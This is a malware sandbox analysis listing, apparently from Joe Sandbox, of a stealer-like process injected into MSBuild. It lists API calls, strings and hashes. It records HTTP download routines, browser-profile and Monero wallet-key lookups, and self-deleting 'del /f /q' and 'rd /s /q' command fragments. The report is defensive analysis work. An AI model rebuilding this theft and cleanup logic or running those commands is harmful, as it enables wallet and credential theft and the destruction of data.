Part of subcall function 0041051E: lstrcpyA.KERNEL32(00000000,00000000,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410556

lstrcpyA.KERNEL32(?,?), ref: 004137AE
lstrcpyA.KERNEL32(?,00000000), ref: 004137DF
lstrcpyA.KERNEL32(?,00000000), ref: 0041381B
lstrcpyA.KERNEL32(?,00000000), ref: 00413857
lstrcpyA.KERNEL32(?,00000000), ref: 00413893
lstrcpyA.KERNEL32(?,00000000), ref: 004138CF
lstrcpyA.KERNEL32(?,00000000), ref: 0041390B
strtok_s.MSVCRT ref: 004139CF

Strings

a{A, xrefs: 004139F4
false, xrefs: 00413705
true, xrefs: 004136E6

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: a{A$false$true
API String ID: 2116072422-2100480347
Opcode ID: 33d7c4744b918c80d204451f52a7396b111834e37a69a1ce91c3a38b851a64c7
Instruction ID: c25931a9095c9d8e10e2498a4a46417764b166da5dcab449e0f17a70d63e4699
Opcode Fuzzy Hash: 33d7c4744b918c80d204451f52a7396b111834e37a69a1ce91c3a38b851a64c7
Instruction Fuzzy Hash: D3B138B59002189BCF60EF64DC89ADA77B5BF18305F0001EAE549A72A1DB75AFD4CF44

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

yA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$yA
API String ID: 442264750-2870340693
Opcode ID: d21ee4bd772bfa97098b1171631170c12c0fb4564c1fb932326b5257c1942b01
Instruction ID: ee600abd7f67cca17ee5aeb8dfeae4a08fb5aeaf879ee2ccda1bafcbf8185c35
Opcode Fuzzy Hash: d21ee4bd772bfa97098b1171631170c12c0fb4564c1fb932326b5257c1942b01
Instruction Fuzzy Hash: BC511B71900A28AFDF20DF54DD85BEFBBB9EF08346F0050E6E909A2290D6755F818F54

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AA98), ref: 004012D0
lstrcatA.KERNEL32(?,0043AA9C), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAA0), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAA8), ref: 00401308
lstrcatA.KERNEL32(?,0043AAAC), ref: 00401316
lstrcatA.KERNEL32(?,0043AAB0), ref: 00401324
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401332
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401340
lstrcatA.KERNEL32(?,0043AABC), ref: 0040134E
lstrcatA.KERNEL32(?,0043AAC0), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAC4), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAC8), ref: 00401378

Part of subcall function 00410C5A: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C66
Part of subcall function 00410C5A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C6D
Part of subcall function 00410C5A: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410C81

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: a824348476b66567d86e4ef9ffe9a047d71fde18680bc25f168bba7cad0eeea4
Instruction ID: bb02fb9038cc5557f02225f2a46e3415a2d0b68ff14653919e717e81e10c5939
Opcode Fuzzy Hash: a824348476b66567d86e4ef9ffe9a047d71fde18680bc25f168bba7cad0eeea4
Instruction Fuzzy Hash: D741A7B2D4422C67DB20EBB19D59FDB7BAC9F18310F5405A3E8C8E3181D67C9A84CB58

Function 004111D8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670E,00000000,?,?), ref: 00411248
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00411285
wsprintfA.USER32 ref: 004112B2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112D1
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411307
lstrlenA.KERNEL32(?), ref: 0041131C

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E94), ref: 004113B1
RegCloseKey.ADVAPI32(?), ref: 0041141B
RegCloseKey.ADVAPI32(?), ref: 0041143B
RegCloseKey.ADVAPI32(?), ref: 00411447

Strings

%s\%s, xrefs: 004112AC
- , xrefs: 004113BB
?, xrefs: 00411238

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 46f65d37a904e0ae805c110f49f3f583c8ff1a0b29b9c805e250c4dcfe0bf4a1
Instruction ID: f7396fa090d5bfa975612bdb5a45328bc7e737bb7498c75da1f53f5e752104fb
Opcode Fuzzy Hash: 46f65d37a904e0ae805c110f49f3f583c8ff1a0b29b9c805e250c4dcfe0bf4a1
Instruction Fuzzy Hash: 6861F77590022CABEF21DF15DD84ECAB7B9AB04704F1082E6A609B2161DF756FC9CF54

Function 004183FD Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00418422
_memset.LIBCMT ref: 00418431
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00418446

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

ShellExecuteEx.SHELL32(?), ref: 004185E2
_memset.LIBCMT ref: 004185F1
_memset.LIBCMT ref: 00418603
ExitProcess.KERNEL32 ref: 00418613

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Strings

" & rd /s /q "C:\ProgramData\, xrefs: 004184BF
" & exit, xrefs: 00418515
/c timeout /t 10 & del /f /q ", xrefs: 00418471
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 0041851C
" & exit, xrefs: 00418566

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: edf33d4b919684730d2f2f0e6ff40cd534e3860d89feeabb686b5836fc6a08f3
Instruction ID: 783b7a8b351e285aa33d0c5cad4ecf7f00b0bf00b1a7297e1d9cf3454930bdf3
Opcode Fuzzy Hash: edf33d4b919684730d2f2f0e6ff40cd534e3860d89feeabb686b5836fc6a08f3
Instruction Fuzzy Hash: FB51BCB1D4022A9BCB51EF25DD81ADDB37DAB44748F4110EAA70873152CB786FC68F58

Function 00410977 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109AA
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 004109EA
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A3F
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A46
wsprintfA.USER32 ref: 00410A7C
lstrcatA.KERNEL32(00000000,00436E44), ref: 00410A8B

Part of subcall function 00411659: GetCurrentHwProfileA.ADVAPI32(?), ref: 00411674
Part of subcall function 00411659: _memset.LIBCMT ref: 004116A3
Part of subcall function 00411659: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116CB
Part of subcall function 00411659: lstrcatA.KERNEL32(?,00436ED4,?,?,?,?,?), ref: 004116E8

lstrlenA.KERNEL32(?), ref: 00410AA2

Part of subcall function 004123AA: malloc.MSVCRT ref: 004123AF
Part of subcall function 004123AA: strncpy.MSVCRT ref: 004123C0

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AC5

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Strings

:\, xrefs: 004109DB
QuBi, xrefs: 004109FC
C, xrefs: 004109B4

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi
API String ID: 1856320939-239756005
Opcode ID: bfca9a5609c2933791c31bbc8aeeb760fb68f044b76aa607bb08356c1204a9b6
Instruction ID: a9d48bac36ce4e52796d362ba97f9efa3c2660f46b60ffe502a063da8a4b64a5
Opcode Fuzzy Hash: bfca9a5609c2933791c31bbc8aeeb760fb68f044b76aa607bb08356c1204a9b6
Instruction Fuzzy Hash: A84181B19042289BCB259F759D85ADEBBBDEF09304F0010EAF549E3121D6748FD58F58

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

|+A, xrefs: 00406954

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: |+A
API String ID: 2507841554-3573662793
Opcode ID: 17d7d2db07836f1383ebe42077eed33d7472a458e8ab8fc12e01afd76295067f
Instruction ID: 8ad31f5b3404bc28a600bea18357ba0eabf7658113efb1b02c69fc2d70e6146f
Opcode Fuzzy Hash: 17d7d2db07836f1383ebe42077eed33d7472a458e8ab8fc12e01afd76295067f
Instruction Fuzzy Hash: 98412CB1900128ABDF30AB21DD49BDA7BB9EF04305F1040B6FB09B21A1D6359E958F98

Function 00416908 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041695C
lstrlenA.KERNEL32(?), ref: 00416967

Part of subcall function 00411DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416973,?), ref: 00411E0C

StrStrA.SHLWAPI(00000000,?), ref: 0041697C
lstrlenA.KERNEL32(?), ref: 0041698B
lstrlenA.KERNEL32(00000000), ref: 004169A4

Strings

ERROR, xrefs: 004169B9
ERROR, xrefs: 004169C0
ERROR, xrefs: 00416956
ERROR, xrefs: 004169AF
ERROR, xrefs: 004169C7

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 8d4f143d7608b6d714282fc7708ace14f285ec3cff6984c64c402806450a3496
Instruction ID: 4712dda684cdb8c2e2171393cba04d1fb179912ddf7bf229b407c8c660ac4956
Opcode Fuzzy Hash: 8d4f143d7608b6d714282fc7708ace14f285ec3cff6984c64c402806450a3496
Instruction Fuzzy Hash: 1621B6B1910215ABCB10BF35DC469DE7BA9AF04304F11502BF905E3192DB7DDA858B9D

Function 0040EA91 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EACE
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB2B
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EDF2
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC08

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECB8
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED15

Strings

Stable\, xrefs: 0040EB46
Stable\, xrefs: 0040ED30
firefox, xrefs: 0040EDEC

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 71f79a47f0d979228e072dae5de44d2ccae310029a8badad8e422ef6d8be0663
Instruction ID: 47194a26f9b8e0096c1e3e694baa9a640fb112bc8662c66d582230df9716c17b
Opcode Fuzzy Hash: 71f79a47f0d979228e072dae5de44d2ccae310029a8badad8e422ef6d8be0663
Instruction Fuzzy Hash: 2AB1A032E00109ABCF20FFAADD47B8D7771AF40314F554126FD04B7291DA78AA998BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
